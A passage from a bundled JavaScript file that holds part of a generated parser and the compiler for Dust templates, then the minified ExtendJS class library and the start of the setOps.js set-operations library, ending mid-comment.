                  if (peg$silentFails === 0) { peg$fail(peg$c87); }
                }
                if (s7 !== peg$FAILED) {
                  peg$reportedPos = s2;
                  s3 = peg$c88(s7);
                  s2 = s3;
                } else {
                  peg$currPos = s2;
                  s2 = peg$c3;
                }
              } else {
                peg$currPos = s2;
                s2 = peg$c3;
              }
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
        if (s2 !== peg$FAILED) {
          while (s2 !== peg$FAILED) {
            s1.push(s2);
            s2 = peg$currPos;
            s3 = peg$currPos;
            peg$silentFails++;
            s4 = peg$parsetag();
            peg$silentFails--;
            if (s4 === peg$FAILED) {
              s3 = peg$c6;
            } else {
              peg$currPos = s3;
              s3 = peg$c3;
            }
            if (s3 !== peg$FAILED) {
              s4 = peg$currPos;
              peg$silentFails++;
              s5 = peg$parseraw();
              peg$silentFails--;
              if (s5 === peg$FAILED) {
                s4 = peg$c6;
              } else {
                peg$currPos = s4;
                s4 = peg$c3;
              }
              if (s4 !== peg$FAILED) {
                s5 = peg$currPos;
                peg$silentFails++;
                s6 = peg$parsecomment();
                peg$silentFails--;
                if (s6 === peg$FAILED) {
                  s5 = peg$c6;
                } else {
                  peg$currPos = s5;
                  s5 = peg$c3;
                }
                if (s5 !== peg$FAILED) {
                  s6 = peg$currPos;
                  peg$silentFails++;
                  s7 = peg$parseeol();
                  peg$silentFails--;
                  if (s7 === peg$FAILED) {
                    s6 = peg$c6;
                  } else {
                    peg$currPos = s6;
                    s6 = peg$c3;
                  }
                  if (s6 !== peg$FAILED) {
                    if (input.length > peg$currPos) {
                      s7 = input.charAt(peg$currPos);
                      peg$currPos++;
                    } else {
                      s7 = peg$FAILED;
                      if (peg$silentFails === 0) { peg$fail(peg$c87); }
                    }
                    if (s7 !== peg$FAILED) {
                      peg$reportedPos = s2;
                      s3 = peg$c88(s7);
                      s2 = s3;
                    } else {
                      peg$currPos = s2;
                      s2 = peg$c3;
                    }
                  } else {
                    peg$currPos = s2;
                    s2 = peg$c3;
                  }
                } else {
                  peg$currPos = s2;
                  s2 = peg$c3;
                }
              } else {
                peg$currPos = s2;
                s2 = peg$c3;
              }
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          }
        } else {
          s1 = peg$c3;
        }
        if (s1 !== peg$FAILED) {
          peg$reportedPos = s0;
          s1 = peg$c89(s1);
        }
        s0 = s1;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c85); }
      }

      return s0;
    }

    function peg$parseliteral() {
      var s0, s1, s2, s3, s4;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = [];
      s2 = peg$currPos;
      s3 = peg$currPos;
      peg$silentFails++;
      s4 = peg$parsetag();
      peg$silentFails--;
      if (s4 === peg$FAILED) {
        s3 = peg$c6;
      } else {
        peg$currPos = s3;
        s3 = peg$c3;
      }
      if (s3 !== peg$FAILED) {
        s4 = peg$parseesc();
        if (s4 === peg$FAILED) {
          if (peg$c91.test(input.charAt(peg$currPos))) {
            s4 = input.charAt(peg$currPos);
            peg$currPos++;
          } else {
            s4 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c92); }
          }
        }
        if (s4 !== peg$FAILED) {
          peg$reportedPos = s2;
          s3 = peg$c88(s4);
          s2 = s3;
        } else {
          peg$currPos = s2;
          s2 = peg$c3;
        }
      } else {
        peg$currPos = s2;
        s2 = peg$c3;
      }
      if (s2 !== peg$FAILED) {
        while (s2 !== peg$FAILED) {
          s1.push(s2);
          s2 = peg$currPos;
          s3 = peg$currPos;
          peg$silentFails++;
          s4 = peg$parsetag();
          peg$silentFails--;
          if (s4 === peg$FAILED) {
            s3 = peg$c6;
          } else {
            peg$currPos = s3;
            s3 = peg$c3;
          }
          if (s3 !== peg$FAILED) {
            s4 = peg$parseesc();
            if (s4 === peg$FAILED) {
              if (peg$c91.test(input.charAt(peg$currPos))) {
                s4 = input.charAt(peg$currPos);
                peg$currPos++;
              } else {
                s4 = peg$FAILED;
                if (peg$silentFails === 0) { peg$fail(peg$c92); }
              }
            }
            if (s4 !== peg$FAILED) {
              peg$reportedPos = s2;
              s3 = peg$c88(s4);
              s2 = s3;
            } else {
              peg$currPos = s2;
              s2 = peg$c3;
            }
          } else {
            peg$currPos = s2;
            s2 = peg$c3;
          }
        }
      } else {
        s1 = peg$c3;
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c93(s1);
      }
      s0 = s1;
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c90); }
      }

      return s0;
    }

    function peg$parseesc() {
      var s0, s1;

      s0 = peg$currPos;
      if (input.substr(peg$currPos, 2) === peg$c94) {
        s1 = peg$c94;
        peg$currPos += 2;
      } else {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c95); }
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c96();
      }
      s0 = s1;

      return s0;
    }

    function peg$parseraw() {
      var s0, s1, s2, s3, s4, s5;

      peg$silentFails++;
      s0 = peg$currPos;
      if (input.substr(peg$currPos, 2) === peg$c98) {
        s1 = peg$c98;
        peg$currPos += 2;
      } else {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c99); }
      }
      if (s1 !== peg$FAILED) {
        s2 = [];
        s3 = peg$currPos;
        s4 = peg$currPos;
        peg$silentFails++;
        if (input.substr(peg$currPos, 2) === peg$c100) {
          s5 = peg$c100;
          peg$currPos += 2;
        } else {
          s5 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c101); }
        }
        peg$silentFails--;
        if (s5 === peg$FAILED) {
          s4 = peg$c6;
        } else {
          peg$currPos = s4;
          s4 = peg$c3;
        }
        if (s4 !== peg$FAILED) {
          if (input.length > peg$currPos) {
            s5 = input.charAt(peg$currPos);
            peg$currPos++;
          } else {
            s5 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c87); }
          }
          if (s5 !== peg$FAILED) {
            peg$reportedPos = s3;
            s4 = peg$c102(s5);
            s3 = s4;
          } else {
            peg$currPos = s3;
            s3 = peg$c3;
          }
        } else {
          peg$currPos = s3;
          s3 = peg$c3;
        }
        while (s3 !== peg$FAILED) {
          s2.push(s3);
          s3 = peg$currPos;
          s4 = peg$currPos;
          peg$silentFails++;
          if (input.substr(peg$currPos, 2) === peg$c100) {
            s5 = peg$c100;
            peg$currPos += 2;
          } else {
            s5 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c101); }
          }
          peg$silentFails--;
          if (s5 === peg$FAILED) {
            s4 = peg$c6;
          } else {
            peg$currPos = s4;
            s4 = peg$c3;
          }
          if (s4 !== peg$FAILED) {
            if (input.length > peg$currPos) {
              s5 = input.charAt(peg$currPos);
              peg$currPos++;
            } else {
              s5 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c87); }
            }
            if (s5 !== peg$FAILED) {
              peg$reportedPos = s3;
              s4 = peg$c102(s5);
              s3 = s4;
            } else {
              peg$currPos = s3;
              s3 = peg$c3;
            }
          } else {
            peg$currPos = s3;
            s3 = peg$c3;
          }
        }
        if (s2 !== peg$FAILED) {
          if (input.substr(peg$currPos, 2) === peg$c100) {
            s3 = peg$c100;
            peg$currPos += 2;
          } else {
            s3 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c101); }
          }
          if (s3 !== peg$FAILED) {
            peg$reportedPos = s0;
            s1 = peg$c103(s2);
            s0 = s1;
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c97); }
      }

      return s0;
    }

    function peg$parsecomment() {
      var s0, s1, s2, s3, s4, s5;

      peg$silentFails++;
      s0 = peg$currPos;
      if (input.substr(peg$currPos, 2) === peg$c105) {
        s1 = peg$c105;
        peg$currPos += 2;
      } else {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c106); }
      }
      if (s1 !== peg$FAILED) {
        s2 = [];
        s3 = peg$currPos;
        s4 = peg$currPos;
        peg$silentFails++;
        if (input.substr(peg$currPos, 2) === peg$c107) {
          s5 = peg$c107;
          peg$currPos += 2;
        } else {
          s5 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c108); }
        }
        peg$silentFails--;
        if (s5 === peg$FAILED) {
          s4 = peg$c6;
        } else {
          peg$currPos = s4;
          s4 = peg$c3;
        }
        if (s4 !== peg$FAILED) {
          if (input.length > peg$currPos) {
            s5 = input.charAt(peg$currPos);
            peg$currPos++;
          } else {
            s5 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c87); }
          }
          if (s5 !== peg$FAILED) {
            peg$reportedPos = s3;
            s4 = peg$c88(s5);
            s3 = s4;
          } else {
            peg$currPos = s3;
            s3 = peg$c3;
          }
        } else {
          peg$currPos = s3;
          s3 = peg$c3;
        }
        while (s3 !== peg$FAILED) {
          s2.push(s3);
          s3 = peg$currPos;
          s4 = peg$currPos;
          peg$silentFails++;
          if (input.substr(peg$currPos, 2) === peg$c107) {
            s5 = peg$c107;
            peg$currPos += 2;
          } else {
            s5 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c108); }
          }
          peg$silentFails--;
          if (s5 === peg$FAILED) {
            s4 = peg$c6;
          } else {
            peg$currPos = s4;
            s4 = peg$c3;
          }
          if (s4 !== peg$FAILED) {
            if (input.length > peg$currPos) {
              s5 = input.charAt(peg$currPos);
              peg$currPos++;
            } else {
              s5 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c87); }
            }
            if (s5 !== peg$FAILED) {
              peg$reportedPos = s3;
              s4 = peg$c88(s5);
              s3 = s4;
            } else {
              peg$currPos = s3;
              s3 = peg$c3;
            }
          } else {
            peg$currPos = s3;
            s3 = peg$c3;
          }
        }
        if (s2 !== peg$FAILED) {
          if (input.substr(peg$currPos, 2) === peg$c107) {
            s3 = peg$c107;
            peg$currPos += 2;
          } else {
            s3 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c108); }
          }
          if (s3 !== peg$FAILED) {
            peg$reportedPos = s0;
            s1 = peg$c109(s2);
            s0 = s1;
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c104); }
      }

      return s0;
    }

    function peg$parsetag() {
      var s0, s1, s2, s3, s4, s5, s6, s7, s8, s9;

      s0 = peg$currPos;
      s1 = peg$parseld();
      if (s1 !== peg$FAILED) {
        s2 = [];
        s3 = peg$parsews();
        while (s3 !== peg$FAILED) {
          s2.push(s3);
          s3 = peg$parsews();
        }
        if (s2 !== peg$FAILED) {
          if (peg$c110.test(input.charAt(peg$currPos))) {
            s3 = input.charAt(peg$currPos);
            peg$currPos++;
          } else {
            s3 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c111); }
          }
          if (s3 !== peg$FAILED) {
            s4 = [];
            s5 = peg$parsews();
            while (s5 !== peg$FAILED) {
              s4.push(s5);
              s5 = peg$parsews();
            }
            if (s4 !== peg$FAILED) {
              s5 = [];
              s6 = peg$currPos;
              s7 = peg$currPos;
              peg$silentFails++;
              s8 = peg$parserd();
              peg$silentFails--;
              if (s8 === peg$FAILED) {
                s7 = peg$c6;
              } else {
                peg$currPos = s7;
                s7 = peg$c3;
              }
              if (s7 !== peg$FAILED) {
                s8 = peg$currPos;
                peg$silentFails++;
                s9 = peg$parseeol();
                peg$silentFails--;
                if (s9 === peg$FAILED) {
                  s8 = peg$c6;
                } else {
                  peg$currPos = s8;
                  s8 = peg$c3;
                }
                if (s8 !== peg$FAILED) {
                  if (input.length > peg$currPos) {
                    s9 = input.charAt(peg$currPos);
                    peg$currPos++;
                  } else {
                    s9 = peg$FAILED;
                    if (peg$silentFails === 0) { peg$fail(peg$c87); }
                  }
                  if (s9 !== peg$FAILED) {
                    s7 = [s7, s8, s9];
                    s6 = s7;
                  } else {
                    peg$currPos = s6;
                    s6 = peg$c3;
                  }
                } else {
                  peg$currPos = s6;
                  s6 = peg$c3;
                }
              } else {
                peg$currPos = s6;
                s6 = peg$c3;
              }
              if (s6 !== peg$FAILED) {
                while (s6 !== peg$FAILED) {
                  s5.push(s6);
                  s6 = peg$currPos;
                  s7 = peg$currPos;
                  peg$silentFails++;
                  s8 = peg$parserd();
                  peg$silentFails--;
                  if (s8 === peg$FAILED) {
                    s7 = peg$c6;
                  } else {
                    peg$currPos = s7;
                    s7 = peg$c3;
                  }
                  if (s7 !== peg$FAILED) {
                    s8 = peg$currPos;
                    peg$silentFails++;
                    s9 = peg$parseeol();
                    peg$silentFails--;
                    if (s9 === peg$FAILED) {
                      s8 = peg$c6;
                    } else {
                      peg$currPos = s8;
                      s8 = peg$c3;
                    }
                    if (s8 !== peg$FAILED) {
                      if (input.length > peg$currPos) {
                        s9 = input.charAt(peg$currPos);
                        peg$currPos++;
                      } else {
                        s9 = peg$FAILED;
                        if (peg$silentFails === 0) { peg$fail(peg$c87); }
                      }
                      if (s9 !== peg$FAILED) {
                        s7 = [s7, s8, s9];
                        s6 = s7;
                      } else {
                        peg$currPos = s6;
                        s6 = peg$c3;
                      }
                    } else {
                      peg$currPos = s6;
                      s6 = peg$c3;
                    }
                  } else {
                    peg$currPos = s6;
                    s6 = peg$c3;
                  }
                }
              } else {
                s5 = peg$c3;
              }
              if (s5 !== peg$FAILED) {
                s6 = [];
                s7 = peg$parsews();
                while (s7 !== peg$FAILED) {
                  s6.push(s7);
                  s7 = peg$parsews();
                }
                if (s6 !== peg$FAILED) {
                  s7 = peg$parserd();
                  if (s7 !== peg$FAILED) {
                    s1 = [s1, s2, s3, s4, s5, s6, s7];
                    s0 = s1;
                  } else {
                    peg$currPos = s0;
                    s0 = peg$c3;
                  }
                } else {
                  peg$currPos = s0;
                  s0 = peg$c3;
                }
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      if (s0 === peg$FAILED) {
        s0 = peg$parsereference();
      }

      return s0;
    }

    function peg$parseld() {
      var s0;

      if (input.charCodeAt(peg$currPos) === 123) {
        s0 = peg$c112;
        peg$currPos++;
      } else {
        s0 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c113); }
      }

      return s0;
    }

    function peg$parserd() {
      var s0;

      if (input.charCodeAt(peg$currPos) === 125) {
        s0 = peg$c114;
        peg$currPos++;
      } else {
        s0 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c115); }
      }

      return s0;
    }

    function peg$parselb() {
      var s0;

      if (input.charCodeAt(peg$currPos) === 91) {
        s0 = peg$c116;
        peg$currPos++;
      } else {
        s0 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c117); }
      }

      return s0;
    }

    function peg$parserb() {
      var s0;

      if (input.charCodeAt(peg$currPos) === 93) {
        s0 = peg$c118;
        peg$currPos++;
      } else {
        s0 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c119); }
      }

      return s0;
    }

    function peg$parseeol() {
      var s0;

      if (input.charCodeAt(peg$currPos) === 10) {
        s0 = peg$c120;
        peg$currPos++;
      } else {
        s0 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c121); }
      }
      if (s0 === peg$FAILED) {
        if (input.substr(peg$currPos, 2) === peg$c122) {
          s0 = peg$c122;
          peg$currPos += 2;
        } else {
          s0 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c123); }
        }
        if (s0 === peg$FAILED) {
          if (input.charCodeAt(peg$currPos) === 13) {
            s0 = peg$c124;
            peg$currPos++;
          } else {
            s0 = peg$FAILED;
            if (peg$silentFails === 0) { peg$fail(peg$c125); }
          }
          if (s0 === peg$FAILED) {
            if (input.charCodeAt(peg$currPos) === 8232) {
              s0 = peg$c126;
              peg$currPos++;
            } else {
              s0 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c127); }
            }
            if (s0 === peg$FAILED) {
              if (input.charCodeAt(peg$currPos) === 8233) {
                s0 = peg$c128;
                peg$currPos++;
              } else {
                s0 = peg$FAILED;
                if (peg$silentFails === 0) { peg$fail(peg$c129); }
              }
            }
          }
        }
      }

      return s0;
    }

    function peg$parsews() {
      var s0;

      if (peg$c130.test(input.charAt(peg$currPos))) {
        s0 = input.charAt(peg$currPos);
        peg$currPos++;
      } else {
        s0 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c131); }
      }
      if (s0 === peg$FAILED) {
        s0 = peg$parseeol();
      }

      return s0;
    }


      function makeInteger(arr) {
        return parseInt(arr.join(''), 10);
      }
      function withPosition(arr) {
        return arr.concat([['line', line()], ['col',
column()]]);
      }


    peg$result = peg$startRuleFunction();

    if (peg$result !== peg$FAILED && peg$currPos === input.length)
{
      return peg$result;
    } else {
      if (peg$result !== peg$FAILED && peg$currPos <
input.length) {
        peg$fail({ type: "end", description: "end of
input" });
      }

      throw peg$buildException(null, peg$maxFailExpected, peg$maxFailPos);
    }
  }

  return {
    SyntaxError: SyntaxError,
    parse:       parse
  };
})();

  // expose parser methods
  dust.parse = parser.parse;

  return parser;
}));

(function(root, factory) {
  if (typeof define === "function" && define.amd
&& define.amd.dust === true) {
    define("dust.compile", ["dust.core",
"dust.parse"], function(dust, parse) {
      return factory(parse, dust).compile;
    });
  } else if (typeof exports === 'object') {
    // in Node, require this file if we want to use the compiler as a
standalone module
    module.exports = factory(require('./parser').parse,
require('./dust'));
  } else {
    // in the browser, store the factory output if we want to use the
compiler directly
    factory(root.dust.parse, root.dust);
  }
}(this, function(parse, dust) {
  var compiler = {},
      isArray = dust.isArray;


  compiler.compile = function(source, name) {
    // the name parameter is optional.
    // this can happen for templates that are rendered immediately
(renderSource which calls compileFn) or
    // for templates that are compiled as a callable (compileFn)
    //
    // for the common case (using compile and render) a name is required so
that templates will be cached by name and rendered later, by name.

    try {
      var ast = filterAST(parse(source));
      return compile(ast, name);
    }
    catch (err)
    {
      if (!err.line || !err.column) {
        throw err;
      }
      throw new SyntaxError(err.message + ' At line : ' +
err.line + ', column : ' + err.column);
    }
  };

  function filterAST(ast) {
    var context = {};
    return compiler.filterNode(context, ast);
  }

  compiler.filterNode = function(context, node) {
    return compiler.optimizers[node[0]](context, node);
  };

  compiler.optimizers = {
    body:      compactBuffers,
    buffer:    noop,
    special:   convertSpecial,
    format:    format,
    reference: visit,
    '#':       visit,
    '?':       visit,
    '^':       visit,
    '<':       visit,
    '+':       visit,
    '@':       visit,
    '%':       visit,
    partial:   visit,
    context:   visit,
    params:    visit,
    bodies:    visit,
    param:     visit,
    filters:   noop,
    key:       noop,
    path:      noop,
    literal:   noop,
    raw:       noop,
    comment:   nullify,
    line:      nullify,
    col:       nullify
  };

  compiler.pragmas = {
    esc: function(compiler, context, bodies) {
      var old = compiler.auto,
          out;
      if (!context) {
        context = 'h';
      }
      compiler.auto = (context === 's') ? '' : context;
      out = compileParts(compiler, bodies.block);
      compiler.auto = old;
      return out;
    }
  };

  function visit(context, node) {
    var out = [node[0]],
        i, len, res;
    for (i=1, len=node.length; i<len; i++) {
      res = compiler.filterNode(context, node[i]);
      if (res) {
        out.push(res);
      }
    }
    return out;
  }

  // Compacts consecutive buffer nodes into a single node
  function compactBuffers(context, node) {
    var out = [node[0]],
        memo, i, len, res;
    for (i=1, len=node.length; i<len; i++) {
      res = compiler.filterNode(context, node[i]);
      if (res) {
        if (res[0] === 'buffer' || res[0] === 'format')
{
          if (memo) {
            memo[0] = (res[0] === 'buffer') ? 'buffer'
: memo[0];
            memo[1] += res.slice(1, -2).join('');
          } else {
            memo = res;
            out.push(res);
          }
        } else {
          memo = null;
          out.push(res);
        }
      }
    }
    return out;
  }

  var specialChars = {
    's': ' ',
    'n': '\n',
    'r': '\r',
    'lb': '{',
    'rb': '}'
  };

  function convertSpecial(context, node) {
    return ['buffer', specialChars[node[1]], node[2], node[3]];
  }

  function noop(context, node) {
    return node;
  }

  function nullify(){}

  function format(context, node) {
    if(dust.config.whitespace) {
      // Format nodes are in the form ['format', eol, whitespace,
line, col],
      // which is unlike other nodes in that there are two pieces of
content
      // Join eol and whitespace together to normalize the node format
      node.splice(1, 2, node.slice(1, -2).join(''));
      return node;
    }
    return null;
  }

  function compile(ast, name) {
    var context = {
      name: name,
      bodies: [],
      blocks: {},
      index: 0,
      auto: 'h'
    },
    escapedName = dust.escapeJs(name),
    AMDName = name? '"' + escapedName + '",'
: '',
    compiled = 'function(dust){',
    entry = compiler.compileNode(context, ast),
    iife;

    if(name) {
      compiled += 'dust.register("' + escapedName +
'",' + entry + ');';
    }

    compiled += compileBlocks(context) +
                compileBodies(context) +
                'return ' + entry + '}';

    iife = '(' + compiled + '(dust));';

    if(dust.config.amd) {
      return 'define(' + AMDName +
'["dust.core"],' + compiled + ');';
    } else if(dust.config.cjs) {
      return 'module.exports=function(dust){' +
             'var tmpl=' + iife +
             'var f=' + loaderFor().toString() + ';' +
             'f.template=tmpl;return f}';
    } else {
      return iife;
    }
  }

  function compileBlocks(context) {
    var out = [],
        blocks = context.blocks,
        name;

    for (name in blocks) {
      out.push('"' + name + '":' +
blocks[name]);
    }
    if (out.length) {
      context.blocks = 'ctx=ctx.shiftBlocks(blocks);';
      return 'var blocks={' + out.join(',') +
'};';
    } else {
      context.blocks = '';
    }
    return context.blocks;
  }

  function compileBodies(context) {
    var out = [],
        bodies = context.bodies,
        blx = context.blocks,
        i, len;

    for (i=0, len=bodies.length; i<len; i++) {
      out[i] = 'function body_' + i + '(chk,ctx){' +
          blx + 'return chk' + bodies[i] + ';}body_' +
i + '.__dustBody=!0;';
    }
    return out.join('');
  }

  function compileParts(context, body) {
    var parts = '',
        i, len;
    for (i=1, len=body.length; i<len; i++) {
      parts += compiler.compileNode(context, body[i]);
    }
    return parts;
  }

  compiler.compileNode = function(context, node) {
    return compiler.nodes[node[0]](context, node);
  };

  compiler.nodes = {
    body: function(context, node) {
      var id = context.index++,
          name = 'body_' + id;
      context.bodies[id] = compileParts(context, node);
      return name;
    },

    buffer: function(context, node) {
      return '.w(' + escape(node[1]) + ')';
    },

    format: function(context, node) {
      return '.w(' + escape(node[1]) + ')';
    },

    reference: function(context, node) {
      return '.f(' + compiler.compileNode(context, node[1]) +
        ',ctx,' + compiler.compileNode(context, node[2]) +
')';
    },

    '#': function(context, node) {
      return compileSection(context, node, 'section');
    },

    '?': function(context, node) {
      return compileSection(context, node, 'exists');
    },

    '^': function(context, node) {
      return compileSection(context, node, 'notexists');
    },

    '<': function(context, node) {
      var bodies = node[4];
      for (var i=1, len=bodies.length; i<len; i++) {
        var param = bodies[i],
            type = param[1][1];
        if (type === 'block') {
          context.blocks[node[1].text] = compiler.compileNode(context,
param[2]);
          return '';
        }
      }
      return '';
    },

    '+': function(context, node) {
      if (typeof(node[1].text) === 'undefined'  &&
typeof(node[4]) === 'undefined'){
        return '.b(ctx.getBlock(' +
              compiler.compileNode(context, node[1]) +
              ',chk, ctx),' + compiler.compileNode(context,
node[2]) + ', {},' +
              compiler.compileNode(context, node[3]) +
              ')';
      } else {
        return '.b(ctx.getBlock(' +
            escape(node[1].text) +
            '),' + compiler.compileNode(context, node[2]) +
',' +
            compiler.compileNode(context, node[4]) + ',' +
            compiler.compileNode(context, node[3]) +
            ')';
      }
    },

    '@': function(context, node) {
      return '.h(' +
        escape(node[1].text) +
        ',' + compiler.compileNode(context, node[2]) +
',' +
        compiler.compileNode(context, node[4]) + ',' +
        compiler.compileNode(context, node[3]) + ',' +
        compiler.compileNode(context, node[5]) +
        ')';
    },

    '%': function(context, node) {
      // TODO: Move these hacks into pragma precompiler
      var name = node[1][1],
          rawBodies,
          bodies,
          rawParams,
          params,
          ctx, b, p, i, len;
      if (!compiler.pragmas[name]) {
        return '';
      }

      rawBodies = node[4];
      bodies = {};
      for (i=1, len=rawBodies.length; i<len; i++) {
        b = rawBodies[i];
        bodies[b[1][1]] = b[2];
      }

      rawParams = node[3];
      params = {};
      for (i=1, len=rawParams.length; i<len; i++) {
        p = rawParams[i];
        params[p[1][1]] = p[2][1];
      }

      ctx = node[2][1] ? node[2][1].text : null;

      return compiler.pragmas[name](context, ctx, bodies, params);
    },

    partial: function(context, node) {
      return '.p(' +
          compiler.compileNode(context, node[1]) +
          ',ctx,' + compiler.compileNode(context, node[2]) +
          ',' + compiler.compileNode(context, node[3]) +
')';
    },

    context: function(context, node) {
      if (node[1]) {
        return 'ctx.rebase(' + compiler.compileNode(context,
node[1]) + ')';
      }
      return 'ctx';
    },

    params: function(context, node) {
      var out = [];
      for (var i=1, len=node.length; i<len; i++) {
        out.push(compiler.compileNode(context, node[i]));
      }
      if (out.length) {
        return '{' + out.join(',') + '}';
      }
      return '{}';
    },

    bodies: function(context, node) {
      var out = [];
      for (var i=1, len=node.length; i<len; i++) {
        out.push(compiler.compileNode(context, node[i]));
      }
      return '{' + out.join(',') + '}';
    },

    param: function(context, node) {
      return compiler.compileNode(context, node[1]) + ':' +
compiler.compileNode(context, node[2]);
    },

    filters: function(context, node) {
      var list = [];
      for (var i=1, len=node.length; i<len; i++) {
        var filter = node[i];
        list.push('"' + filter + '"');
      }
      return '"' + context.auto + '"' +
        (list.length ? ',[' + list.join(',') +
']' : '');
    },

    key: function(context, node) {
      return 'ctx.get(["' + node[1] + '"],
false)';
    },

    path: function(context, node) {
      var current = node[1],
          keys = node[2],
          list = [];

      for (var i=0,len=keys.length; i<len; i++) {
        if (isArray(keys[i])) {
          list.push(compiler.compileNode(context, keys[i]));
        } else {
          list.push('"' + keys[i] + '"');
        }
      }
      return 'ctx.getPath(' + current + ', [' +
list.join(',') + '])';
    },

    literal: function(context, node) {
      return escape(node[1]);
    },
    raw: function(context, node) {
      return ".w(" + escape(node[1]) + ")";
    }
  };

  function compileSection(context, node, cmd) {
    return '.' + (dust._aliases[cmd] || cmd) + '(' +
      compiler.compileNode(context, node[1]) +
      ',' + compiler.compileNode(context, node[2]) +
',' +
      compiler.compileNode(context, node[4]) + ',' +
      compiler.compileNode(context, node[3]) +
      ')';
  }

  var BS = /\\/g,
      DQ = /"/g,
      LF = /\f/g,
      NL = /\n/g,
      CR = /\r/g,
      TB = /\t/g;
  function escapeToJsSafeString(str) {
    return str.replace(BS, '\\\\')
              .replace(DQ, '\\"')
              .replace(LF, '\\f')
              .replace(NL, '\\n')
              .replace(CR, '\\r')
              .replace(TB, '\\t');
  }

  var escape = (typeof JSON === 'undefined') ?
                  function(str) { return '"' +
escapeToJsSafeString(str) + '"';} :
                  JSON.stringify;

  function renderSource(source, context, callback) {
    var tmpl = dust.loadSource(dust.compile(source));
    return loaderFor(tmpl)(context, callback);
  }

  function compileFn(source, name) {
    var tmpl = dust.loadSource(dust.compile(source, name));
    return loaderFor(tmpl);
  }

  function loaderFor(tmpl) {
    return function load(ctx, cb) {
      var fn = cb ? 'render' : 'stream';
      return dust[fn](tmpl, ctx, cb);
    };
  }

  // expose compiler methods
  dust.compiler = compiler;
  dust.compile = dust.compiler.compile;
  dust.renderSource = renderSource;
  dust.compileFn = compileFn;

  // DEPRECATED legacy names. Removed in 2.8.0
  dust.filterNode = compiler.filterNode;
  dust.optimizers = compiler.optimizers;
  dust.pragmas = compiler.pragmas;
  dust.compileNode = compiler.compileNode;
  dust.nodes = compiler.nodes;

  return compiler;

}));

if (typeof define === "function" && define.amd &&
define.amd.dust === true) {
    define(["require", "dust.core",
"dust.compile"], function(require, dust) {
        dust.onLoad = function(name, cb) {
            require([name], function() {
                cb();
            });
        };
        return dust;
    });
}
;
/*
ExtendJS 0.2.3
More info at http://extendjs.org

Copyright (c) 2013+ ChrisBenjaminsen.com

Distributed under the terms of the MIT license.
http://extendjs.org/licence.txt

This notice shall be included in all copies or substantial portions of the
Software.
*/
!function(a){"use strict";function b(a){a.parent instanceof
Function&&(b.apply(this,[a.parent]),this.super=c(this,d(this,this.constructor))),a.apply(this,arguments)}function
c(a,b){for(var c in a)"super"!==c&&a[c]instanceof
Function&&!(a[c].prototype instanceof
Class)&&(b[c]=a[c].super||d(a,a[c]));return b}function d(a,b){var
c=a.super;return b.super=function(){return
a.super=c,b.apply(a,arguments)}}a.Class=function(){},a.Class.extend=function
e(a){function
d(){b!==arguments[0]&&(b.apply(this,[a]),c(this,this),this.initializer
instanceof
Function&&this.initializer.apply(this),this.constructor.apply(this,arguments))}return
d.prototype=new
this(b),d.prototype.constructor=d,d.toString=function(){return
a.toString()},d.extend=function(b){return
b.parent=a,e.apply(d,arguments)},d},a.Class=a.Class.extend(function(){this.constructor=function(){}})}(this);
;
// setOps.js MIT License © 2014 James Abney http://github.com/jabney

// Set operations union, intersection, symmetric difference,
// relative complement, equals. Set operations are fast.
(function(so) {
'use strict';
  
  var uidList = [], uid;

  // Create and push the uid identity method.
  uidList.push(uid = function() {
    return this;
  });

  // Push a new uid method onto the stack. Call this and
